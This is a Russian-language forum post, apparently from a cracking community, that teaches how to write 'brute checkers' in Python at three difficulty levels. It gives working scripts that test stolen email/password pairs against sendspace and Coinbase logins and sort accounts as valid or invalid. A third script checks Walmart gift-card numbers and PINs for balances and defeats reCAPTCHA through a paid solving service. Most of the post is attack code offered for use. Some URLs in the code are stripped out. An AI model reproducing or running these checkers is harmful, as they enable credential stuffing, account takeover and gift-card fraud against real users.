Welcome!

By registering with us, you'll be able to discuss, share and private message with other members of our community.

SignUp Now!

Как написать брут чекер, На Python. 3 уровня

Сообщения
243
Реакции
1,774
Level Easy
Для примера возьмем сайт: sendspace.com

1. Регистрируем валидный аккаунт и жмем Ctrl+Shift+I
2
. Переходим во вкладку: Сеть (Network) и жмем Clear (возле красной кнопки)
3. Проходим авторизацию и ловим результат
imageproxy.png
Получаем код 301 и редирект

4. Выходим и снова заходим под не правильными данными. Ловим:
imageproxy.png
Код 200

5. Смотрим что мы все время отправляли
imageproxy.png

Менялись только email и password

6. Начинаем готовить блюдо
Код
import requests #импортируем нужную библиотеку

def Auth(email, password):
s = requests.Session() #создаем сессию
s.get("Ссылка#получаем куки ,первый вход

params = {
'action': 'login',
'submit': 'login',
'target': '+DTgzAw9+W09fw4qSrIRw5ekKlyh+/ND12NGxjzzoJBcnsQQTuX1hHKKlFftTy2Jn18=',
'action_type': 'login',
'username': email,
'password': password,
'remember': 'on'
}

r = s.post( # отправка POST запроса используя нашу сессию
'Ссылка#куда отправим запрос
data=params, #данные формы
allow_redirects=False #Запрещаем редиректы, чтобы нас не перенаправило и мы не пропустили статус код
)

s.close() #закрываем сессию

if r.status_code == 301:
print("Good account")
elif r.status_code == 200:
print("Bad account")
else:
print("Some shit")

Auth('emailee@email.com','123qwe321')

О том куда мы отправляем запрос и какой тип запроса. Говорить не нужно)


Level Medium
Парсим значения формы и нужны куки.
Подопытный coinbase. Просто чек на валид.

Цитата
1. Открываем coinbase.com/signin и жмем Ctrl+Shift+I
2
. Переходим во вкладку: Сеть (Network) и жмем Clear (возле красной кнопки)
3. Проходим авторизацию и ловим результат
imageproxy.png
Код 302 редирект
imageproxy.png
Сюда, включен 2ф

4. Вводим не правильные данные
imageproxy.png
Тот же редирект
imageproxy.png
Но сюда

5. Смотрим что все время отправляли
imageproxy.png
6. В куках такого нет и в хеадерах тоже, открываем исходный код страницы входа
imageproxy.png

7. Готовим блюдо:
Код
from bs4 import BeautifulSoup #либа для парсинга
import urllib #либа для url encode
import requests # отправка запроса

def getAuth(email, password):
header = { # хеадер
'Accept-Language': 'en',
'Accept-Encoding': 'gzip, deflate, br',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded',
'DNT': '1',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1'
}

session = requests.Session() # начало сессии
session.headers.update(header) # ставим хеадеры для сессии

r = session.get("Ссылка# первый вход

params = {
'commit':urllib.quote('Sign In'),
'stay_signed_in': "1",
'utf8':urllib.quote("✓"),
'email':urllib.quote(email),
'password': urllib.quote(password),
"authenticity_token": urllib.quote(BeautifulSoup(r.text, "lxml").find('input',{"name":"authenticity_token"})['value']) # парсим токен
}

r = session.post("Ссылкаallow_redirects=False, data=params)
session.close()

if r.headers['location'] == 'Ссылка#если cюда то 2f
print 'Good!'
elif r.headers['location'] == 'Ссылка# не валидный
print "Bad"
else: # значит без 2f
print "Good"

getAuth("emailaccc@dmna.zn","Password123Qaz")
Level Hard
Работа с куки, капчей и парсинг ответов.
Подопытный: walmart. Чекаем баланс карт. Используем офф. либу ruCaptcha для Python (pip install python-rucaptcha)


Цитата
Подготовка
1
. Ищем iframe на странице с src="Ссылка
2. В нем видим: k=6LfTwxsTAAAAAK9lS9yRZdEWsatDuXqMK9kGbIhd&...". Значение k - это и есть G-Site-Key = "6LfTwxsTAAAAAK9lS9yRZdEWsatDuXqMK9kGbIhd"

Начали
1. Открываем Ссылка, жмем Ctrl+Shift+I
2
. Переходим во вкладку: Сеть (Network) и жмем Clear (возле красной кнопки)
3. Заполняем все и отправляем правильно, ловим результат
imageproxy.png

Код 200 и JSON ответ
 
Сообщения
243
Реакции
1,774
4. Отправляем не правильно
imageproxy.png
Код 400 и JSON ответ

5. Смотрим что мы все время отправляем
imageproxy.png
В хеадерах постоянно: wml-captcha и x-csrf-jwt. Значит будем отправлять ответ капчи и CF сессию
imageproxy.png

В запросе это. Ясно что подставлять

6. Готовим блюдо
Код
import requests, json #ипортим библиотеки для отправки запроса и парсинга ответа JSON
from python_rucaptcha import ReCaptchaV2 # импортим работу с капчей

""" ruCaptcha settings """
SITE_KEY = '6LfTwxsTAAAAAK9lS9yRZdEWsatDuXqMK9kGbIhd' #ключ сайта
PAGE_URL = 'Ссылка#ссылка где капча
RUCAPTCHA_KEY = '______' # ключ ruCaptcha

def getHeader(captcha_key,token):
header = { #формируем хеадер
'Host': 'www.walmart.com',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36',
'Accept': 'application/json',
'Accept-Language': 'en',
'Accept-Encoding': 'gzip, deflate, br',
'Referer': 'Ссылка
'content-type': 'application/json',
'wml-captcha': captcha_key, #подставляем полученое значение
'x-csrf-jwt': token,#подставляем полученое значение
'origin': 'https://www.walmart.com'
'Content-Length': '117',
'DNT': '1',
'Connection': 'keep-alive',
'Pragma': 'no-cache',
'Cache-Control': 'no-cache'
}

return header

def getCaptcha(): # тут все с офф. доков
answer = ReCaptchaV2.ReCaptchaV2(rucaptcha_key=RUCAPTCHA_KEY).captcha_handler(site_key=SITE_KEY, page_url=PAGE_URL)

if answer['errorId'] == 0:
return answer['captchaSolve']
elif answer['errorId'] == 1:
print(answer['errorBody'])
quit()

def getBalance(card, pin):
payload = {"captcha": "", "fieldErrors": [], "focusErrorFlag": "false", "number": card, "pin": pin, "useAlertRole": "true"} #данные формы
session = requests.Session()

a = session.get('Ссылка# получаем хеадеры в ответ
r = session.post("Ссылка
headers=getHeader(getCaptcha(), #формируем хеадер, добавляем ответ капчи
a.headers['X-Csrf-Jwt'] #формируем хеадер, добавляем занчение с хеадера первого входа
), data=payload # данные формы
)

session.close()

if r.status_code == 200: # если код 200 - значит все хорошо
data = json.loads(r.text)
print("{}:{} {} {}\n".format(card,pin,data['balance'],data['currency']))
else: # тут явно ошибка
print('Error: '+r.text)


getBalance("1111 1111 1111 1111", "1111")

То что нужно иногда снифать даже первый заход на сайт думаю говорить не нужно.

Думаю Вам понравилось.
 
Назад
Сверху Снизу